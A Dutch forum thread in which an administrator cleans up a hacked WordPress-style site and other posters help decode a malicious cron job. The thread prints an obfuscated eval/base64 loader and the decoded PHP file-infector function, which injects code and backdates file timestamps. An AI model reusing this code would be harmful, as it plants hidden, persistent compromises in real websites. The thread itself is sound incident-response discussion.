Kan bestanden niet verwijderen

[Paul van der Vlis]

Hoi,

Ik wordt te hulp geroepen bij een website die gehacked is. Het rare is
dat bijvoorbeeld index.php niet te verwijderen is, en de rechten niet
aan te passen. Hebben jullie een idee wat er aan de hand is?

ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18 2022 index.php
lsattr index.php
-------------e-- index.php

Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Groeten,
Paul

[Paul van der Vlis]

Post by Paul van der Vlis
Hoi,
Ik wordt te hulp geroepen bij een website die gehacked is. Het rare is
dat bijvoorbeeld index.php niet te verwijderen is, en de rechten niet
aan te passen. Hebben jullie een idee wat er aan de hand is?
ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18  2022 index.php
lsattr index.php
-------------e-- index.php
Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Ik heb de indruk dat ik dat bestand wel kan verwijderen, maar dat het er
onmiddelijk weer is. Niet na een seconde, maar echt ogenblikkelijk.

Als ik de directory rename en een lege diretory in de plaats zet, staat
het bestand er ook weer onmiddelijk.

Groet,
Paul

[Jan van den Broek]

Post by Paul van der Vlis

Post by Paul van der Vlis
Hoi,
Ik wordt te hulp geroepen bij een website die gehacked is. Het rare is
dat bijvoorbeeld index.php niet te verwijderen is, en de rechten niet
aan te passen. Hebben jullie een idee wat er aan de hand is?
ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18?? 2022 index.php
lsattr index.php
-------------e-- index.php
Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Ik heb de indruk dat ik dat bestand wel kan verwijderen, maar dat het er
onmiddelijk weer is. Niet na een seconde, maar echt ogenblikkelijk.
Als ik de directory rename en een lege diretory in de plaats zet, staat
het bestand er ook weer onmiddelijk.

Kun je de machine vanaf een ander medium booten, of de schijf zonder de
machine benaderen?

[Paul van der Vlis]

Post by Jan van den Broek

Post by Paul van der Vlis

Post by Paul van der Vlis
Hoi,
Ik wordt te hulp geroepen bij een website die gehacked is. Het rare is
dat bijvoorbeeld index.php niet te verwijderen is, en de rechten niet
aan te passen. Hebben jullie een idee wat er aan de hand is?
ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18?? 2022 index.php
lsattr index.php
-------------e-- index.php
Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Ik heb de indruk dat ik dat bestand wel kan verwijderen, maar dat het er
onmiddelijk weer is. Niet na een seconde, maar echt ogenblikkelijk.
Als ik de directory rename en een lege diretory in de plaats zet, staat
het bestand er ook weer onmiddelijk.

Kun je de machine vanaf een ander medium booten, of de schijf zonder de
machine benaderen?

Liever niet. Het is een virtuele machine in een datacenter, waarop vele
websites en ook e-mail gehost wordt. Het is niet mijn machine en ook
niet mijn hardware.

Groet,
Paul

[Jan van den Broek]

Post by Paul van der Vlis

Post by Jan van den Broek

Post by Paul van der Vlis

Post by Paul van der Vlis
Hoi,
Ik wordt te hulp geroepen bij een website die gehacked is. Het rare is
dat bijvoorbeeld index.php niet te verwijderen is, en de rechten niet
aan te passen. Hebben jullie een idee wat er aan de hand is?
ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18?? 2022 index.php
lsattr index.php
-------------e-- index.php
Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Ik heb de indruk dat ik dat bestand wel kan verwijderen, maar dat het er
onmiddelijk weer is. Niet na een seconde, maar echt ogenblikkelijk.
Als ik de directory rename en een lege diretory in de plaats zet, staat
het bestand er ook weer onmiddelijk.

Kun je de machine vanaf een ander medium booten, of de schijf zonder de
machine benaderen?

Liever niet. Het is een virtuele machine in een datacenter, waarop vele
websites en ook e-mail gehost wordt. Het is niet mijn machine en ook
niet mijn hardware.

Dat snap ik, anderszijds is dit wel een aanwijzing dat er processen
draaien waarvan je niet wilt dat ze draaien.
Ik zou in ieder geval overwegen de betreffende website offline te halen.

[Paul van der Vlis]

Post by Jan van den Broek

Post by Paul van der Vlis

Post by Jan van den Broek

Post by Paul van der Vlis

Post by Paul van der Vlis
Hoi,
Ik wordt te hulp geroepen bij een website die gehacked is. Het rare is
dat bijvoorbeeld index.php niet te verwijderen is, en de rechten niet
aan te passen. Hebben jullie een idee wat er aan de hand is?
ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18?? 2022 index.php
lsattr index.php
-------------e-- index.php
Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Ik heb de indruk dat ik dat bestand wel kan verwijderen, maar dat het er
onmiddelijk weer is. Niet na een seconde, maar echt ogenblikkelijk.
Als ik de directory rename en een lege diretory in de plaats zet, staat
het bestand er ook weer onmiddelijk.

Kun je de machine vanaf een ander medium booten, of de schijf zonder de
machine benaderen?

Liever niet. Het is een virtuele machine in een datacenter, waarop vele
websites en ook e-mail gehost wordt. Het is niet mijn machine en ook
niet mijn hardware.

Dat snap ik, anderszijds is dit wel een aanwijzing dat er processen
draaien waarvan je niet wilt dat ze draaien.
Ik zou in ieder geval overwegen de betreffende website offline te halen.

Ik heb inderdaad processen gevonden op naam van de user waarvan de site
gehacked was, deze heb ik gekilled en dat heeft het probleem opgelost.
Ze waren eigenlijk simpel te vinden met "ls -l /proc | grep username".

Verder heb ik ook nog een crontab gevonden op naam van deze user.

Ik heb niet echt reden om aan te nemen dat ze root hebben kunnen worden,
of een andere user.

Groeten,
Paul

[Roger]

Hoi,
Ik wordt te hulp geroepen bij een website die gehacked is. Het rare is dat bijvoorbeeld
index.php niet te verwijderen is, en de rechten niet aan te passen. Hebben jullie een
idee wat er aan de hand is?
ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18  2022 index.php
lsattr index.php
-------------e-- index.php
Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Ik heb de indruk dat ik dat bestand wel kan verwijderen, maar dat het er onmiddelijk weer
is. Niet na een seconde, maar echt ogenblikkelijk.
Als ik de directory rename en een lege diretory in de plaats zet, staat het bestand er ook
weer onmiddelijk.

Wellicht is er een proces dat met inotify() het verwijderen of modificeren
van index.php monitort om het meteen terug te kunnen zetten. In dat geval
is er in /proc/<pid>/fd een 'anon_inode:inotify' entry.

De processen met een open inotify file descriptor vind je met

find /proc/*/fd -lname anon_inode:inotify

Bij mij is dat een handjevol. Als daar iets bij zit wat er niet hoort, zie
je dat snel.

Groeten,
-Roger

[Paul van der Vlis]

Post by Roger

Post by Paul van der Vlis

Post by Paul van der Vlis
Hoi,
Ik wordt te hulp geroepen bij een website die gehacked is. Het rare
is dat bijvoorbeeld index.php niet te verwijderen is, en de rechten
niet aan te passen. Hebben jullie een idee wat er aan de hand is?
ls -l index.php
-r--r--r-- 1 user group 4373 Oct 18  2022 index.php
lsattr index.php
-------------e-- index.php
Als ik "mv" gebruik om hem te renamen, dan werkt dat als cp.

Ik heb de indruk dat ik dat bestand wel kan verwijderen, maar dat het
er onmiddelijk weer is. Niet na een seconde, maar echt ogenblikkelijk.
Als ik de directory rename en een lege diretory in de plaats zet,
staat het bestand er ook weer onmiddelijk.

Wellicht is er een proces dat met inotify() het verwijderen of modificeren
van index.php monitort om het meteen terug te kunnen zetten. In dat geval
is er in /proc/<pid>/fd een 'anon_inode:inotify' entry.
De processen met een open inotify file descriptor vind je met
  find /proc/*/fd -lname anon_inode:inotify
Bij mij is dat een handjevol. Als daar iets bij zit wat er niet hoort, zie
je dat snel.

Bedankt! Ik vond best veel van dit soort processen, maar ze leken me
toch wel in orde.

Maar "ls -l /proc" bracht wat interessants, want daar waren twee
processen bij op naam van de gebruiker van de site. Deze processen heb
ik gekilled, en toen kon ik index.php wel verwijderen ;-)

Al eerder had ik een dubieuze crontab van deze user gevonden, deze heb
ik ook verwijderd. Maar dat loste het probleem niet op. Het was een
crontab met een inhoud in deze vorm:
/usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb.......)));'
Weet iemand zo hoe je die code leesbaar krijgt zonder hem uit te voeren?

Groet,
Paul

[Roger]

Al eerder had ik een dubieuze crontab van deze user gevonden, deze heb ik ook verwijderd.
/usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb.......)));'

Stinkt een uur tegen de wind in naar malware (maximaal verhullend).

Weet iemand zo hoe je die code leesbaar krijgt zonder hem uit te voeren?

Het uitvoeren wordt gedaan door eval(). Het zou dus iets moeten zijn als

/usr/bin/php -r 'echo gzinflate(base64_decode("jVJrb......."));'

Groeten,
-Roger

[Paul van der Vlis]

Post by Roger

Post by Paul van der Vlis
Al eerder had ik een dubieuze crontab van deze user gevonden, deze heb
ik ook verwijderd. Maar dat loste het probleem niet op. Het was een
/usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb.......)));'

Stinkt een uur tegen de wind in naar malware (maximaal verhullend).

Post by Paul van der Vlis
Weet iemand zo hoe je die code leesbaar krijgt zonder hem uit te voeren?

Het uitvoeren wordt gedaan door eval(). Het zou dus iets moeten zijn als
  /usr/bin/php -r 'echo gzinflate(base64_decode("jVJrb......."));'

Klinkt goed, maar was het niet. Na uitvoeren kreeg ik deze foutmelding:

PHP Warning:
file_get_contents(/var/www/vhosts/domein.nl/httpdocs/wp-includes/theme.php):
failed to open stream: No such file or directory in Command line code(1)
: eval()'d code on line 6

(de naam van het domein heb ik gewijzigd in "domein.nl".)

Daarna zag ik processen onder de naam van de user (in dit geval de
user). Die heb ik gekilled. Gelukkig had ik het uitgevoerd als een
onbelangrijke user op mijn systeem.

Groet,
Paul

[Roger]

Post by Roger

Al eerder had ik een dubieuze crontab van deze user gevonden, deze heb ik ook
verwijderd. Maar dat loste het probleem niet op. Het was een crontab met een inhoud in
/usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb.......)));'

Stinkt een uur tegen de wind in naar malware (maximaal verhullend).

Weet iemand zo hoe je die code leesbaar krijgt zonder hem uit te voeren?

Het uitvoeren wordt gedaan door eval(). Het zou dus iets moeten zijn als
   /usr/bin/php -r 'echo gzinflate(base64_decode("jVJrb......."));'

failed to open stream: No such file or directory in Command line code(1) : eval()'d code
on line 6

Ik zie even niet hoe gzinflate() losgelaten op gedecodeerde BASE64 data kan leiden
tot het uitvoeren van code (maar misschien mis ik ergens iets). Een voorbeeldje:

$ /usr/bin/php -r 'echo base64_encode(gzdeflate("This is test data.")) . "\n";'
C8nILFYAopLU4hKFlMSSRD0A
$ /usr/bin/php -r 'echo gzinflate(base64_decode("C8nILFYAopLU4hKFlMSSRD0A")) . "\n";'
This is test data.
$

Je hebt toch wel de buitenste eval() weggelaten zoals ik had aangegeven?

Groeten,
-Roger

[Paul van der Vlis]

Post by Roger

Post by Roger

Post by Paul van der Vlis
Al eerder had ik een dubieuze crontab van deze user gevonden, deze
heb ik ook verwijderd. Maar dat loste het probleem niet op. Het was
/usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb.......)));'

Stinkt een uur tegen de wind in naar malware (maximaal verhullend).

Post by Paul van der Vlis
Weet iemand zo hoe je die code leesbaar krijgt zonder hem uit te voeren?

Het uitvoeren wordt gedaan door eval(). Het zou dus iets moeten zijn als
   /usr/bin/php -r 'echo gzinflate(base64_decode("jVJrb......."));'

file_get_contents(/var/www/vhosts/domein.nl/httpdocs/wp-includes/theme.php): failed to open stream: No such file or directory in Command line code(1) : eval()'d code on line 6

Ik zie even niet hoe gzinflate() losgelaten op gedecodeerde BASE64 data kan leiden
  $ /usr/bin/php -r 'echo base64_encode(gzdeflate("This is test
data.")) . "\n";'
  C8nILFYAopLU4hKFlMSSRD0A
  $ /usr/bin/php -r 'echo
gzinflate(base64_decode("C8nILFYAopLU4hKFlMSSRD0A")) . "\n";'
  This is test data.
  $
Je hebt toch wel de buitenste eval() weggelaten zoals ik had aangegeven?

Ah, dat was inderdaad mijn fout, excuus. Nu komt er wel code uit.

Echter ook binnenin is nog weer een functie encoded, ik moet er nog even
op studeren, tot nu toe niet gelukt:

-----------
phpConfValidate('zaGVldF...............');
function phpConfValidate($ser) {

list ($fullPath, $systemEnv, $code, $pattern) =
unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL .
$matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
------------

Groet,
Paul

Post by Roger
Groeten,
-Roger

[Roger]

Post by Paul van der Vlis

Post by Roger

Post by Roger

Al eerder had ik een dubieuze crontab van deze user gevonden, deze heb ik ook
verwijderd. Maar dat loste het probleem niet op. Het was een crontab met een inhoud
/usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb.......)));'

Stinkt een uur tegen de wind in naar malware (maximaal verhullend).

Weet iemand zo hoe je die code leesbaar krijgt zonder hem uit te voeren?

Het uitvoeren wordt gedaan door eval(). Het zou dus iets moeten zijn als
   /usr/bin/php -r 'echo gzinflate(base64_decode("jVJrb......."));'

file_get_contents(/var/www/vhosts/domein.nl/httpdocs/wp-includes/theme.php): failed to
open stream: No such file or directory in Command line code(1) : eval()'d code on line 6

Ik zie even niet hoe gzinflate() losgelaten op gedecodeerde BASE64 data kan leiden
   $ /usr/bin/php -r 'echo base64_encode(gzdeflate("This is test data.")) . "\n";'
   C8nILFYAopLU4hKFlMSSRD0A
   $ /usr/bin/php -r 'echo gzinflate(base64_decode("C8nILFYAopLU4hKFlMSSRD0A")) . "\n";'
   This is test data.
   $
Je hebt toch wel de buitenste eval() weggelaten zoals ik had aangegeven?

Ah, dat was inderdaad mijn fout, excuus. Nu komt er wel code uit.
Echter ook binnenin is nog weer een functie encoded, ik moet er nog even op studeren, tot
-----------
phpConfValidate('zaGVldF...............');
function phpConfValidate($ser) {
    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));

Het argument van phpConfValidate is zo te zien een BASE64 gecodeerd geserialized
PHP array waarvan de elementen met list() in 4 variabelen worden opgeslagen. Met

/usr/bin/php -r 'var_dump(unserialize(base64_decode("zaGVldF...............")));'

zou je de 4 elementen zichtbaar moeten kunnen maken (let op: vervang de single quotes
van het argument van base64_decode door double quotes anders krijg je syntax errors).

Post by Paul van der Vlis
    $source = file_get_contents($fullPath);

Leest het te infecteren bestand.

Post by Paul van der Vlis
    if (strstr($source, $systemEnv) !== false) {
        return;
    }

Vermijdt modificatie van een al geïnfecteerd bestand.

Post by Paul van der Vlis
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }

Vermijdt modificatie van een bestand met onverwachte inhoud.

Post by Paul van der Vlis
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);

Modificeert de inhoud (de eigenlijke infectie).

Post by Paul van der Vlis
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }

Test of de modificatie is gelukt.

Post by Paul van der Vlis
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);

Overschrijft het bestand met de gemodificeerde inhoud. Maar met een twist:
de file modification timestamp wordt iets later gezet dan de originele
timestamp. Hierdoor valt bij een 'ls -l' niet meteen op dat het bestand is
aangepast, maar door de latere timestamp wordt de geïnfecteerde versie wel
meegenomen in een incrementele file based backup.

Post by Paul van der Vlis
}
------------

Wat ik nog even niet zie is hoe deze code ervoor zorgt dat een verwijderd
bestand meteen weer terug komt. De var_dump() moet inzicht verschaffen.

Groeten,
-Roger